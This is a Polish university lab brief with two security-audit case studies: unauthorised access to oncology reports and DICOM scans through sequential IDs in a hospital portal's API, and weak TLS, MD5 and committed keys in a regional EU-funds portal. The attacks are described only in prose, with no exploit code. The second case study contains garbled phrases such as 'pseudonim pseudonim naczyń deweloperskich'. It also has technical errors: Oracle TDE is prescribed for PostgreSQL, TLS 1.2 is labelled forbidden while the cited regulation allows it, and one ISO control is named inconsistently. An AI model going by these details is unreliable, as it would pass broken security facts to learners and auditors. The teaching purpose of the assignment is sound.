Laboratorium 7

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania mechanizmów autoryzacji i kontroli dostępu w wielowarstwowych aplikacjach medycznych (kategoria OWASP Top 10:2021 - A01:2021 Broken Access Control) ze szczególnym uwzględnieniem podatności Insecure Direct Object References (IDOR) oraz wymuszonego przeglądania w interfejsach REST API. Studenci badają zintegrowany portal pacjenta połączony ze Szpitalnym Systemem Informacyjnym (HIS) oraz archiwum obrazów medycznych PACS (tomografia komputerowa, rezonans magnetyczny, mammografia), w którym wykryto możliwość pobierania badań histopatologicznych i skanów DICOM dowolnego pacjenta poprzez modyfikację parametrów identyfikatorów w żądaniach API. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (w ujęciu ryzyka inherentnego i rezydualnego), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why (Root Cause Analysis), a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról biznesowych, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna klasyfikacja uchybień na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI) w obszarze kontroli dostępu do danych medycznych.
• U1 Opracowanie zaawansowanego projektu procedury autoryzacji kontekstowej opartej na tokenach sesyjnych, kryptograficznych identyfikatorach UUID v4 oraz regułach kontroli dostępu na poziomie bazy danych (Row-Level Security).
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń, wyliczając poziom ryzyka inherentnego i rezydualnego w relacji do danych szczególnej kategorii (art. 9 RODO).
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron) zawierającego pełną dokumentację analityczną, tabelę CAP oraz wygłoszenie 15-minutowego referatu seminaryjnego.
• W1 Zaawansowana znajomość rygorów prawnych ochrony danych medycznych (art. 9 i 32 RODO), tajemnicy lekarskiej, Ustawy o prawach pacjenta oraz odpowiedzialności cywilnej i karnej za naruszenie poufności.
• W2W3 Biegłość w stosowaniu wytycznych OWASP Top 10 (A01:2021), metodologii OWASP WSTG-ATHZ, normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.2, A.8.3, A.8.28), normy ISO 27799 (zarządzanie bezpieczeństwem informacji w medycynie) oraz Krajowych Ram Interoperacyjności.
• K1K2K3 Niezależność osądu audytorskiego, wysoka etyka zawodowa w kontakcie z dokumentacją onkologiczną, odporność na naciski kadry zarządzającej i profesjonalizm prezentacji.
• Powiązanie z wykładem: Wyk1 (Audyt w ochronie zdrowia), Wyk2 (Zasady audytowania ISO 19011), Wyk3 (Kontrole dostępowe A.8.2 i A.8.28 ISO 27001), Wyk4 (RODO i KRI w szpitalnictwie), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Triangulacja dowodów, logi API i PACS), Wyk7 (Procedura 5 Why, matryca NC1/NC2/OFI i Plan CAP).

Wojewódzki Szpital Specjalistyczny i Regionalne Centrum Onkologii w Olsztynie jest podmiotem leczniczym dysponującym 850 łóżkami, 22 klinikami specjalistycznymi oraz Zakładem Diagnostyki Obrazowej wykonującym rocznie ponad 90 000 badań tomografii komputerowej (TK), rezonansu magnetycznego (MR) oraz badań biopsyjnych. Szpital wdrożył zintegrowaną platformę internetową 'OnkoPortal', która umożliwia pacjentom wgląd w harmonogram chemioterapii, odbiór opisów badań histopatologicznych oraz przeglądanie trójwymiarowych obrazów diagnostycznych DICOM bezpośrednio w przeglądarce za pośrednictwem wbudowanej przeglądarki Web-PACS.

Stan faktyczny w obszarze mechanizmów kontroli dostępu i incydentu bezpieczeństwa:

• Architektura portalu opiera się na rozdzieleniu warstwy prezentacyjnej (Single Page Application w technologii Angular) oraz warstwy usługowej REST API (kontenery Node.js/Express) połączonej z klastrem relacyjnej bazy danych PostgreSQL i serwerem obrazów medycznych Orthanc PACS.
• Pacjent po poprawnym zalogowaniu otrzymuje w nagłówku autoryzacyjnym token JSON Web Token (JWT), w którym zapisany jest identyfikator pacjenta (`patient_id`). Jednakże analiza ruchu sieciowego wykazała, że mikroserwis pobierania opisów badań laboratoryjnych (`/api/v1/reports/{report_id}`) oraz mikroserwis pobierania serii obrazów DICOM (`/api/v1/pacs/studies/{study_instance_uid}`) ignorują tożsamość zakodowaną w tokenie JWT i weryfikują jedynie, czy token jest poprawnie podpisany kryptograficznie przez szpitalny serwer autoryzacyjny.
• W mikroserwisie raportów identyfikator `report_id` jest sekwencyjną liczbą całkowitą (np. `14820`). Wystarczy zmienić wartość w ścieżce żądania na `14821`, aby bez jakiejkolwiek odmowy dostępu (brak kodu HTTP 403 Forbidden) otrzymać pełny dokument histopatologiczny innego pacjenta, zawierający rozpoznanie nowotworu złośliwego, stopień złośliwości histologicznej, numer PESEL, adres zamieszkania oraz dane lekarza zlecającego.
• Z kolei w mikroserwisie PACS identyfikatory `study_instance_uid` podlegają przewidywalnemu formatowi generowanemu według standardu DICOM zawierającego identyfikator urządzenia medycznego oraz znacznik czasu z dokładnością do sekundy. Zmiana parametru umożliwia przeglądanie skanów mammograficznych i tomograficznych obcych osób.
• W toku audytu stwierdzono ponadto brak jakichkolwiek limitów zapytań (Rate Limiting) na poziomie bramy API Gateway (Kong), brak mechanizmu audytu pobierania dokumentacji medycznej w czasie rzeczywistym oraz brak testów bezpieczeństwa API przed wdrożeniem wersji produkcyjnej portalu.
• Analiza logów serwera NGINX z ostatnich 60 dni ujawniła, że jeden z adresów IP należący do komercyjnej sieci VPN pobrał w godzinach nocnych ponad 18 500 raportów onkologicznych, systematycznie inkrementując identyfikator `report_id`. Zdarzenie to nie wygenerowało żadnego alertu w szpitalnym zespole IT, a sprawa wyszła na jaw dopiero po anonimowym zgłoszeniu przesłanym do Dyrekcji Szpitala.

Dyrektor Szpitala, stając w obliczu groźby kontroli Prezesa UODO, zawiadomienia prokuratury oraz kar finansowych mogących zagrozić płynności finansowej placówki, powołuje zespół audytorski z zadaniem przeprowadzenia zaawansowanego audytu na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, bada procedury nadzoru nad rozwojem oprogramowania, analizuje skutki prawne w świetle art. 9, 32 i 33 RODO oraz Ustawy o prawach pacjenta, weryfikuje zgłoszenie incydentu do UODO i koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji Web i API): Dokonuje dekonstrukcji żądań REST API i DICOM Web, bada mechanizm weryfikacji tokenów JWT w kodzie Node.js, lukę IDOR i brak autoryzacji obiektowej, projektuje architekturę kontroli dostępu opartej na relacjach w bazie (Row-Level Security) oraz bramki Rate Limiting.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza pełną analizę ryzyka w matrycy 3x3 (obliczając poziom ryzyka inherentnego i rezydualnego dla 4 wektorów), sporządza formalne karty niezgodności (NC1/NC2/OFI), prowadzi procedurę dochodzenia przyczyn źródłowych 5 Why oraz konstruuje tabelę Planu Działań Korygujących (CAP) ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-niski, 2-średni, 3-wysoki) oraz skutek (S: 1-niski, 2-średni, 3-wysoki) w skali 9-stopniowej dla 4 zidentyfikowanych wektorów zagrożeń:

  1. Masowego wycieku danych medycznych szczególnej kategorii przez podatność IDOR w REST API (P=3, S=3 -> R=9: Ryzyko Krytyczne; po kontrolach kompensacyjnych: P=1, S=3 -> R=3: Ryzyko Niskie/Akceptowalne).

  2. Pobrania poufnych obrazów diagnostycznych DICOM z serwera PACS (P=3, S=3 -> R=9; po kontrolach: P=1, S=2 -> R=2).

  3. Automatycznego pobierania danych w wyniku braku mechanizmów Rate Limiting na bramie API (P=3, S=2 -> R=6; po kontrolach: P=1, S=2 -> R=2).

  4. Braku rozliczalności i niewykrycia incydentu przez brak audytowych logów dostępowych (P=3, S=3 -> R=9; po kontrolach: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Brak autoryzacji na poziomie pojedynczych zasobów danych (IDOR) w REST API portalu pacjenta, co umożliwiło masowy nieautoryzowany dostęp do danych onkologicznych (naruszenie kontroli ISO/IEC 27001:2022 A.8.2 Rozsądny dostęp, A.8.28 Bezpieczne kodowanie oraz art. 9 ust. 1 i art. 32 ust. 1 lit. b RODO).
  • Niezgodność Mała (NC2): Brak limitowania częstotliwości żądań (Rate Limiting) na poziomie bramy API Gateway dla endpointów zwracających dokumentację medyczną (naruszenie kontroli ISO/IEC 27001:2022 A.8.20 Bezpieczeństwo sieci).
  • Szansa na doskonalenie (OFI): Wdrożenie zautomatyzowanych testów bezpieczeństwa API (narzędzia DAST dla API, np. OWASP ZAP / Postman Newman) w potoku CI/CD przed każdym wdrożeniem produkcyjnym.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  Przeprowadźcie pełną sekwencję 5 pytań dochodzeniowych:

  1. Dlaczego intruz pobrał 18 500 raportów onkologicznych innych pacjentów? (Ponieważ serwer API zwrócił dane po zmianie parametru `report_id`).

  2. Dlaczego serwer zwrócił dane obcego pacjenta? (Ponieważ kod endpointu weryfikował jedynie poprawność podpisu tokenu JWT, a nie sprawdzał, czy identyfikator w tokenie zgadza się z właścicielem raportu).

  3. Dlaczego programiści nie zaimplementowali weryfikacji tożsamości z tokenem? (Ponieważ w specyfikacji wymagań technicznych i kryteriach akceptacji skupiono się wyłącznie na poprawnym uwierzytelnieniu, pomijając reguły autoryzacji kontekstowej).

  4. Dlaczego luka nie została wykryta na etapie odbioru oprogramowania? (Ponieważ szpital nie przeprowadził niezależnych testów penetracyjnych API, a testy odbiorcze ograniczyły się do weryfikacji funkcjonalnej 'happy path').

  5. Root Cause (Przyczyna źródłowa): Brak sformalizowanych procedur bezpiecznego cyklu życia oprogramowania (Secure SDLC), brak polityki modelowania zagrożeń dla interfejsów API oraz brak kompetencji w zakresie bezpieczeństwa aplikacji webowych w szpitalnym dziale IT.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu audytu platformy OnkoPortal (3 min): Profil szpitala onkologicznego, specyfika danych medycznych, wektor ataku i skala incydentu (Student 1).
• Dekonstrukcja techniczna podatności A01:2021 IDOR i analizy żądań REST API / PACS (4 min): Prezentacja podatnych żądań HTTP, analiza braku autoryzacji kontekstowej w tokenach JWT, brak Rate Limitingu i demonstracja wektora ataku (Student 2).
• Zaawansowana analiza ryzyka w matrycy 3x3 oraz kwalifikacja niezgodności NC1/NC2/OFI (3 min): Prezentacja wyliczeń ryzyka inherentnego i rezydualnego, powołanie punktów normy ISO 27001 i art. 9 RODO (Student 3 lub Student 1).
• Prezentacja dochodzenia przyczyn źródłowych 5 Why oraz Planu Działań Korygujących CAP (3 min): Omówienie 5 poziomów przyczynowości, tabela CAP ze wskaźnikami KPI i terminami oraz koncepcja wdrożenia Row-Level Security i tokenów UUID (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Odpowiedzi na pytania prowadzącego i obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze (Executive Summary) dla Dyrekcji Szpitala i Inspektora Ochrony Danych.

2. Odpowiedzi na zaawansowane pytania problemowe:

• W jaki sposób zaimplementować mechanizm kontroli dostępu opartej na atrybutach (Attribute-Based Access Control - ABAC) w nowoczesnych interfejsach REST API, aby trwale wyeliminować podatność IDOR?
• Czym różni się uwierzytelnienie za pomocą tokenu JWT od autoryzacji dostępu do konkretnego rekordu i dlaczego sam fakt posiadania ważnego podpisu kryptograficznego JWT nie świadczy o prawie dostępu do zasobu?
• Jakie sankcje finansowe i prawne grożą podmiotowi leczniczemu za zaniechanie wdrożenia odpowiednich środków technicznych i organizacyjnych (art. 32 i art. 83 RODO) w przypadku masowego wycieku danych onkologicznych?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa platformy OnkoPortal.

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory zagrożeń, ryzyko inherentne vs. rezydualne).

5. Formalne Karty Niezgodności:

• Karta NC1 (Niezgodność Duża) - podatność IDOR w REST API i brak autoryzacji obiektowej (ISO 27001 A.8.2, RODO art. 9 i 32).
• Karta NC2 (Niezgodność Mała) - brak limitowania zapytań Rate Limiting na bramie API (ISO 27001 A.8.20).
• Karta OFI (Szansa na poprawę) - automatyzacja testów bezpieczeństwa API w potoku CI/CD.

6. Protokół dochodzenia przyczyn źródłowych (Root Cause Analysis - 5 Why).

7. Szczegółowe rozwiązanie techniczne:

• Wzorcowy kod middleware w Node.js weryfikujący zgodność `token.patient_id === database.record.patient_id`.
• Zastosowanie polityk Row-Level Security (RLS) w PostgreSQL uniemożliwiających odczyt danych obcego pacjenta nawet w przypadku błędu w aplikacji.
• Konfiguracja reguł Rate Limiting na bramie API Kong (np. max 20 zapytań na minutę na jednego użytkownika).

8. Tabela Planu Działań Korygujących (CAP) z przypisaniem ról, terminów (14-90 dni) i wskaźników KPI.

9. Analiza zalet i wad (kompromisów inżynierskich) proponowanych rozwiązań.

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A01:2021 Broken Access Control.
• OWASP Foundation: "API Security Top 10:2023", API1:2023 Broken Object Level Authorization (BOLA).
• OWASP Foundation: "Web Security Testing Guide (WSTG) v4.2", rozdział WSTG-ATHZ-04 (Insecure Direct Object References).
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 9 (Przetwarzanie szczególnych kategorii danych), art. 32 (Bezpieczeństwo przetwarzania), art. 33 (Zgłaszanie naruszeń).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.2 (Prawa dostępu uprzywilejowanego), A.8.3 (Ograniczenie dostępu do informacji), A.8.20 (Bezpieczeństwo sieci), A.8.28 (Bezpieczne kodowanie).
• Norma PN-EN ISO 27799:2016: Informatyka medyczna - Zarządzanie bezpieczeństwem informacji w dziedzinie zdrowia przy użyciu ISO/IEC 27002.
• Ustawa z dnia 6 listopada 2008 r. o prawach pacjenta i Rzeczniku Praw Pacjenta (Dz.U. z 2022 r. poz. 1876 z późn. zm.).

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień (NC1/NC2/OFI) w obszarze kontroli dostępu i API.
• U1 Opracowanie zaleceń autoryzacji kontekstowej, polityk PostgreSQL Row-Level Security i bramek API.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w ujęciu inherentnym i rezydualnym w ochronie zdrowia.
• U4 Konstrukcja kompletnego Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz opracowanie raportu 8-12 stron.
• W1W2W3 Głęboka znajomość RODO art. 9, normy ISO 27001, ISO 27799 i standardów OWASP API Security.
• K1K2K3 Obiektywizm, niezależność audytorska, wysoka kultura inżynierska i etyka ochrony danych medycznych.

Podczas obrony referatu zaprezentujcie komisji diagram sekwencji żądania HTTP przed audytem (błędna weryfikacja) i po wdrożeniu Planu CAP, szczegółowo wyjaśniając działanie filtru Row-Level Security na poziomie bazy danych PostgreSQL.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania bezpieczeństwa stosu kryptograficznego w aplikacjach administracji publicznej obsługujących wnioski o dofinansowanie ze środków Unii Europejskiej (kategoria OWASP Top 10:2021 - A02:2021 Cryptographic Failures). Studenci badają Regionalny System Informatyczny Beneficjenta Funduszy Unijnych 'e-Podkarpacie 2030', w którym wykryto poważne uchybienia w zakresie wykorzystania przestarzałych protokołów szyfrujących TLS 1.2 z podatnymi szyframi, stosowania wrażliwych algorytmów MD5 do tzw. "integralności", przechowywania haseł beneficjentów bez soli i algorytmu Argon2id, a także przechowywania kluczy prywatnych certyfikatów w zwykłych plikach konfiguracyjnych (.env) repozytorium deweloperskiego. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3, opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why (Root Cause Analysis), a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna klasyfikacja uchybień kryptograficznych na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie projektu migracji do protokołu TLS 1.3, algorytmu Argon2id oraz strategii zarządzania kluczami (HSM/Secret Manager).
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu ryzyka inherentnego i rezydualnego.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron) oraz tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość KRI (Dz.U. 2017 poz. 2247, zwłaszcza § 20 ust. 2 pkt 5), wymogów ochrony kryptograficznej w RODO, normy PN-EN ISO/IEC 27001:2022 oraz regulacji NIS2.
• K1K2K3 Odporność na naciski ze strony zespołu deweloperskiego, niezależność osądu audytorskiego i merytoryczne uzasadnienie ryzyk.
• Powiązanie z wykładem: Wyk1 (Audyt w administracji publicznej), Wyk3 (Kontrole A.8.24, A.8.8, A.8.15 ISO 27001), Wyk4 (KRI w systemach publicznych, szyfrowanie danych osobowych), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza ruchu TLS, inspekcja kluczy), Wyk7 (Procedura 5 Why i Plan CAP).

Urząd Marszałkowski Województwa Podkarpackiego w Rzeszowie jest jednostką samorządu województwa odpowiedzialną za dystrybucję ponad 1,2 mld złotych z Programu Operacyjnego 'Polska Wschodnia' i innych programów regionalnych na lata 2021-2027. Elektroniczny system obsługi beneficjenta 'e-Podkarpacie 2030' pozwala ponad 40 000 przedsiębiorców, instytucji badawczych i samorządowych składać wnioski o dofinansowanie, prowadzić korespondencję urzędową w formie elektronicznej oraz składać dokumenty rozliczeniowe i sprawozdania finansowe.

Stan faktyczny w obszarze bezpieczeństwa kryptograficznego:

• Serwer WWW obsługujący portal został skonfigurowany w 2019 r. z wykorzystaniem protokołu TLS 1.2 oraz przestarzałych szyfrów (RC4, 3DES, TLS_RSA_WITH_AES_128_CBC_SHA) dopuszczonych przez domyślną politykę platformy deweloperskiej. Analiza zewnętrzna z wykorzystaniem narzędzia SSL Labs wykazała ocenę 'C' i podatność na ataki typu BEAST i POODLE oraz brak protokołu TLS 1.3, brak wsparcia HSTS (Strict-Transport-Security) i brak optymalizacji zestawów szyfrów pod kątem forward secrecy.
• W systemie uwierzytelniania beneficjentów funkcje haszujące MD5 bez pojedynczej soli służą tworzeniu podszytych podpisów cyfrowych i weryfikacji integralności przesyłanych dokumentów XML do operatora płatności, co zgodnie z zaleceniem NIST SP 800-131A stanowi niezgodność krytyczną.
• Baza danych PostgreSQL (wersja 12 zainstalowana bez zasad Oracle TDE ani szyfrowania na poziomie dysku) przechowuje kopie zapasowe wniosków wraz z pełnymi danymi osobowymi i danymi finansowymi beneficjentów w niezaszyfrowanych plikach dump na zewnętrznym dysku NAS.
• Klucze prywatne dwóch certyfikatów TLS oraz klucze do podpisywania tokenów API przechowywane są w plikach `.env` w repozytorium Git zespołu deweloperskiego, uwzględnionych w treści battlefield rozwojowej i dosłownie skopiowanych na serwery produkcyjne.
• Inspektor Ochrony Danych zwrócił uwagę, że w szczególnych kategoriach danych przetwarzanych w formularzu wniosku (dane dot. zdrowia osób ubiegających się o dotacje na projekty społeczne) przesyłanie odbywa się w strumieniu niezapewniającym szyfrowania end-to-end oraz że nie wdrożono mechanizmu wymuszenia używania najnowszych standardów TLS w przeglądarkach.

Urząd Marszałkowski, obawiając się konsekwencji kontroli NIK oraz sankcji Prezesa UODO, powołuje zespół audytorski z zadaniem przeprowadzenia zaawansowanego audytu na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, weryfikuje zgodność z Krajowymi Ramami Interoperacyjności (§ 20 ust. 2 pkt 5), analizuje wymogi RODO art. 32 i art. 25 odnośnie szyfrowania oraz przygotowuje analityczne wnioski dla Zarządu Województwa.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Kryptografii i Infrastruktury): Bada konfigurację serwera WWW i zestawów TLS, analizuje pliki konfiguracyjne i klucze, przegląda pseudonim pseudonim naczyń deweloperskich, testuje poziomy szyfrowania bazy i szacuje straty z wycieku kluczy.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3 (IR vs RR dla 4 wektorów), sporządza formalne karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why oraz konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Przechwycenie i odszyfrowanie ruchu TLS z danymi osobowymi beneficjentów w wyniku użycia przestarzałych szyfrów i braku forward secrecy (P=3, S=3 -> R=9; po kontrolach: TLS 1.3, HSTS: P=1, S=2 -> R=2).

  2. Kompromitacja kluczy prywatnych i podpisów cyfrowych w wyniku przechowywania w plikach .env repozytorium (P=3, S=3 -> R=9; po kontrolach: HSM/Secret Manager: P=1, S=2 -> R=2).

  3. Kradzież niezaszyfrowanych kopii zapasowych bazy danych z plików dump na serwerze NAS (P=2, S=3 -> R=6; po kontrolach: szyfrowanie dysków, Oracle TDE, rotacja kopii: P=1, S=2 -> R=2).

  4. Kompromitacja haseł beneficjentów w wyniku użycia MD5 i przekształcenia w hashe bez soli (P=3, S=3 -> R=9; po kontrolach: Argon2id: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Stosowanie niedozwolonych protokołów TLS 1.2 ze szyframi RC4/3DES i brak HSTS (ISO 27001 A.8.24 Krypto-zabezpieczenia, KRI § 20 ust. 2 pkt 5, art. 32 ust. 1 lit. a RODO).
  • Niezgodność Duża (NC1): Przechowywanie kluczy prywatnych i haseł aplikacji w plikach .env repozytorium Git (ISO 27001 A.8.24, A.5.15, A.8.3, art. 32 RODO).
  • Niezgodność Mała (NC2): Przechowywanie kopii zapasowych bazy danych bez szyfrowania na zewnętrznym dysku NAS (ISO 27001 A.8.24, A.7.10, A.8.13, § 20 ust. 2 pkt 5 KRI).
  • Niezgodność Mała (NC2): Stosowanie funkcji skrótu MD5 do weryfikacji integralności dokumentów (NIST SP 800-131A, ISO 27001 A.8.24).
  • Szansa na doskonalenie (OFI): Wdrożenie testów automatycznych konfiguracji TLS (inventory ssl-config, narzędzie testssl.sh) w procesie CI/CD.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  Przeprowadźcie pełną sekwencję 5 pytań dochodzeniowych dla krytycznej niezgodności NC1 1:

  1. Dlaczego dostępne są podatne szyfry RC4/3DES w serwerze WWW? (Ponieważ konfiguracja pochodzi z 2019 r. i nie była aktualizowana do standardów TLS 1.3).

  2. Dlaczego konfiguracja nie była aktualizowana? (Ponieważ brak było formalnej procedury przeglądu konfiguracji zabezpieczeń serwerów WWW i harmonogramu rotacji certyfikatów).

  3. Dlaczego brak było procedury przeglądu? (Ponieważ bezpieczeństwo kryptograficzne traktowano jako zadanie pojedynczego administratora infrastruktury, a nie jako bieżący proces audytowy).

  4. Dlaczego bezpieczeństwo nie było procesem audytowym? (Ponieważ organizacja nie zdefiniowała właściciela procesu zarządzania kryptografią i nie szkoliła personelu w zakresie NIST TLS Guidelines).

  5. Root Cause (Przyczyna źródłowa): Brak zarządzanego procesu zarządzania konfiguracją kryptograficzną, brak właściciela procesu i brak wdrożonych narzędzi automatycznego monitorowania poziomu bezpieczeństwa TLS.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu audytu systemu 'e-Podkarpacie 2030' (3 min): Profil urzędu, skala przetwarzanych danych, inwentarz kryptograficzny i wyniki oceny SSL Labs (Student 1).
• Prezentacja techniczna analizy stosu kryptograficznego (4 min): Analiza konfiguracji TLS/Nginx, podatnych szyfrów, braku HSTS i forward secrecy; demonstracja ataku typu man-in-the-middle w środowisku testowym (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie punktów ISO 27001, KRI § 20 i art. 32 RODO (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why oraz Planu Działań Korygujących CAP (3 min): Omówienie przyczyn źródłowych, tabela CAP, migracja do TLS 1.3, Argon2id, HSM/Secret Manager i Oracle TDE (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Zarządu Województwa i Inspektora Ochrony Danych.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak zdefiniować kompleksową politykę kryptograficzną i wymusić przestrzeganie reguł TLS 1.3 i modernizowanych algorytmów w heterogenicznym środowisku administracji publicznej?
• Czym różni się bezpieczne zarządzanie kluczami w usłudze Secret Manager / sprzętowym module HSM od przechowywania sekretów w repozytorium kodu i dlaczego to drugie rozwiązanie jest niedopuszczalne?
• W jaki sposób miary ilościowe (ocena SSL Labs, procent zasobów z TLS 1.3, czas odzyskiwania po kompromitacji) mogą posłużyć jako wskaźniki KPI w Planie CAP?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa kryptograficznego.

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: konfiguracja Nginx dla TLS 1.3 z HSTS i otwartą polityką szyfrów, implementacja Argon2id dla haseł, integracja z AWS KMS/HSM, włączenie szyfrowania kopii zapasowych i funkcji Oracle TDE.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich migracji kryptograficznej (ryzyko niekompatybilności klientów, koszty, wydajność).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A02:2021 Cryptographic Failures.
• OWASP Foundation: "Transport Layer Protection Cheat Sheet" (wersja 2023).
• OWASP Foundation: "Password Storage Cheat Sheet" (wersja 2023, rekomendacje Argon2id).
• IETF RFC 8996: "Deprecating TLS 1.0 and TLS 1.1" oraz RFC 8446 (TLS 1.3).
• NIST SP 800-131A Rev. 2: "Transitioning the Use of Cryptographic Algorithms and Key Lengths".
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. 2017 poz. 2247) - w szczególności § 20 ust. 2 pkt 5 (stosowanie algorytmów kryptograficznych bezpiecznych, m.in. TLS 1.2+ i szyfrów o długości klucza 128+).
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.5.15, A.5.16, A.8.8, A.8.15, A.8.20, A.8.24, A.8.28.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 25 i art. 32.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień kryptograficznych (NC1/NC2/OFI).
• U1 Opracowanie zaleceń migracji TLS 1.3, polityki haseł Argon2id i zarządzania kluczami (HSM/Secret Manager).
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w środowisku administracji publicznej.
• U4 Konstrukcja Planu Działań Korygujących (CAP) z wskaźnikami KPI oraz raportu 8-12 stron.
